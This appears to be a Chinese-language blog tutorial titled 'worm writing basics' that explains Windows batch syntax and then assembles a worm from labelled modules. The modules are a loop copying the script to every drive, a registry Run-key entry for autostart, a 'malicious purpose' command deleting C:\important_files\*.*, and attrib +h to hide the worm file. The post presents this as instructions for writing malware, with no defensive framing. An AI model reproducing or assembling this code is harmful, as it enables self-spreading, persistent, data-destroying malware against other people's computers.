蠕虫编写基础
一、@echo off
-
含义: (这是为了更便于bat批处理命令的执行处理)
-
在 Windows 批处理脚本(
.bat文件)中,默认情况下,每执行一条命令,命令本身及其执行结果都会显示在命令提示符窗口中。例如,如果执行dir命令查看目录内容,不仅会显示目录中的文件和文件夹列表,还会先显示 “dir” 这个命令本身。 -
@echo off
-
setlocal enabledelayedexpansion
-
含义:
-
setlocal:这是一个用于设置局部环境的命令。在批处理脚本中,它可以用来限制变量的作用范围,使得在它之后定义的变量在该局部环境内有效,并且当该局部环境结束(通常在脚本末尾或者遇到与之对应的
endlocal命令时),这些变量会被自动清除。(相当于编程中一个函数中的局部环境,函数环境不会影响到全局环境) -
enabledelayedexpansion:这是
setlocal命令的一个扩展选项。在批处理脚本中,变量的默认扩展方式是在读取命令行时就进行扩展。但是在某些情况下,比如需要在循环体内根据循环的进展动态地更新变量的值并使用这些更新后的值时,常规的变量扩展方式就会出现问题。启用延迟扩展(enabledelayedexpansion)后,变量的扩展会被推迟到实际需要使用该变量的值时进行,这就允许在循环等动态环境下更灵活地处理变量的值。
在批处理脚本中,当开启了延迟环境变量扩展(通过
setlocal enabledelayedexpansion命令)后,对于在代码块(如if语句内部等)中使用的变量,需要用!而不是通常的%来引用
-
二、set WORM_FILE=worm.bat命令是定义一个名为WORM_FILE的变量,并将其值设置为worm.bat。
-
set是 Windows 批处理脚本中用于设置变量的命令。通过这个命令,可以创建新的变量或者修改已有变量的值。 -
在
set WORM_FILE=worm.bat这行代码中,WORM_FILE就是新定义的变量名,它可以在后续的脚本内容中被用来代表worm.bat这个字符串
三、使用%~nx0获取文件名和扩展名
-
在 Windows 批处理脚本中,
%~nx0可以用来获取当前脚本文件的文件名和扩展名。其中%0代表当前运行的脚本文件名(包含路径),~n用于提取文件名部分,~x用于提取文件扩展名部分。当它们组合在一起(~nx)时,就可以获取文件名和扩展名。 -
例如,有一个批处理文件
C:\Scripts\MyScript.bat,当使用%~nx0时,会返回MyScript.bat。具体来说:-
%0返回C:\Scripts\MyScript.bat。 -
~n作用于%0提取文件名部分得到MyScript,~x作用于%0提取扩展名部分得到.bat,组合起来就是MyScript.bat。
-
四、if条件判断语句用法
if not "!%~nx0!" == "!WORM_FILE!" (
start cmd
)
注意``注意``注意``注意``注意``注意``注意``注意``注意``注意``注意``注意``注意``注意``注意
"!WORM_FILE!" 与 括号( 之前 存在一个空格, 没有这个空格if语句的语法就是错误的,bat批处理脚本遇到if语句就无法执行。
注意``注意``注意``注意``注意``注意``注意``注意``注意``注意``注意``注意``注意``注意``注意
相同的 for %%d in () do ()之间也需要加括号
自我复制模块
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
if exist %%d: (
if not exist %%d:\%WORM_FILE% (
copy "%~f0" "%%d:\%WORM_FILE%"
echo Copied worm to %%d:\
)
)
)
这个操作会将蠕虫复制到各个磁盘下面。

执行模块
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WormName" /t REG_SZ /d "C:\path\to\worm.bat"
利用reg注册表将蠕虫添加到自启动任务中
恶意目的模块
del C:\important_files\*.*
利用del 命令对目标文件进行删除破坏
隐藏执行痕迹
attrib +h C:\destination_folder\worm.bat
命令修改蠕虫文件属性,使其不容易被发现.
其他
-
for /f主要用于解析文本文件、字符串或者命令的输出结果。它可以从这些内容中提取特定的部分,并按照指定的方式进行处理。
-
假设有一个名为
test.txt的文本文件,内容如下:
line1: value1
line2: value2
-
使用
for /f命令来提取每行中:后面的值,命令如下:
for /f "tokens=2 delims=:" %i in (test.txt) do echo %i
-
"tokens = 2 delims = :"是options部分。tokens参数指定要提取的部分,这里tokens = 2表示提取每行的第二个部分(以空格或制表符分隔的部分称为一个 “token”)。delims参数指定分隔符,这里delims = :表示以:作为分隔符。 -
%i是变量,用于存储提取的值。 -
in (test.txt)表示从test.txt文件中读取内容。 -
do echo %i是对提取的值进行操作,这里是将提取的值输出到控制台。
-
Windows中for循环变量不同情况下的不同使用
正常cmd环境中,for循环变量如%i,只有一个%。
在批处理文件中,%要换成%%
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/%e8%bd%bb%e7%97%85%e6%af%92%e7%a0%94%e7%a9%b6/
共有 0 条评论